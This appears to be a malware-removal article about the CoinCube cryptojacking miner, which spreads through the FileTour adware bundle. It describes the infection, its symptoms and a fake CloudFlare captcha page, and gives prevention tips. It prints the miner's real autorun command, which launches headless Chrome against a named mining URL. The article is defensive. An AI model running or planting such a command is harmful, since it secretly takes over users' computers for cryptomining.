This article will help you to see what is CoinCube, and how to remove it completely from your computer. You can follow the removal instructions for the related malware given at the end of the article.
CoinCube is the name of a cryptojacking miner script. The miner script is delivered with various malware applications, including the adware bundle called “FileTour”. That malicious script is designed to mine cryptocurrency for somebody or do even worse things to your computer. If you have the CoinCube related malware, it will use a lot of your computer’s resources, mainly from your computer’s CPU, so you are advised to remove it.
|Type||Cryptojacking, Miner Malware, Script|
|Short Description||The CoinCube is a cryptocurrency miner, that can appear on your computer through malware such as the “FileTour” adware bundle.|
|Symptoms||You will see a rise in the usage of your computer’s resources, especially in CPU usage, while your computer will accordingly consume more electricity and may overheat over time.|
|Detection Tool|| See If Your System Has Been Affected by CoinCube |
Malware Removal Tool
|User Experience||Join Our Forum to Discuss CoinCube.|
CoinCube – Infection Spread
CoinCube can also spread if you come across unknown websites through redirects and advertisements which have some sort of scripts in themselves and load them when you visit a site or click on an advert. Pop-ups, pop-unders, as well as banners could have links inside of them that can redirect you. When visiting such websites, especially with an unknown origin, they could inject the malware inside your computer device. That can happen via any browser.
CoinCube – In-Depth Information
CoinCube is the name of a cryptojacking miner script. The miner script is delivered with various malware applications, including the adware bundle called “FileTour”. FileTour in itself is a cracks or cheats for games and other software. It is unconfirmed but possible that the bundle also has a password-stealing Trojan implemented with it.
The adware creates an autorun script inside Windows which automatically launches the Google Chrome browser and connects to an in-browser mining page when any user logs into Windows. The launched cryptomining page in Chrome is also invisible.
The launch command can be seen in Chrome’s properties as seen below:
The exact command line is the following:
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe” –headless –disable-gpu –remote-debugging-port=9222 https://de-mi-nis-ner2.info/cdn-41.html?t=0.4
This is how the related CoinCube website page looks like if you load it yourself:
CoinCube will try tricking victims into thinking that it is the harmless CloudFlare service loading.
The command connects to the URL address seen on the image above, via remote debugging on port 9222, without GPU (video card) acceleration.
Some users have indicated that the CoinCube script that loads is indeed intended as a cryptojacking miner script. Although the malware tries to deceive users with a captcha form that looks identical with the CloudFlare one if they visit the URL address, doing the captcha does not do anything. On top of that, victims report that they see a 70% to 97% spike in CPU usage from that single Chrome tab as displayed in the screenshot down here:
The CoinCube malware is highly likely to add some more components that will help it to achieve its goals to maximum effectiveness. Thus, after it being executed on the system, it may establish a remote connection to a command and control server where all other malicious files are available such as an information-stealing Trojan. There are some essential Windows folders in which the malicious files can be dropped:
The following registry key entry might be present on your computer system:
The entry listed above will make the miner to launch with every restart or boot of your computer device. Below you can see some useful tips that can help you to prevent similar miner malware to install onto your personal computer, in the future:
- Run programs inside a sandbox environment
- Install an advanced anti-malware protection
- Update your mostly-used programs and software in general
- Update your OS with security updates
- Install an ad-blocker application
- Be wary around your e-mails and don’t open them unless you know the source
- Disable macros in Microsoft Office Applications
- Keep your firewall ON
It is highly recommended that you remove this threat, because with the CoinCube malware being active you might degrade your system’s lifespan. Not to mention that this might cause your computer to overheat and crash.
Remove CoinCube Cryptojacking Miner Completely
To remove CoinCube manually from your computer, follow the step-by-step removal tutorial written down below. In case this manual removal does not get rid of the miner malware completely, you should search for and remove any leftover items with an advanced anti-malware tool. Such software can keep your computer secure in the future.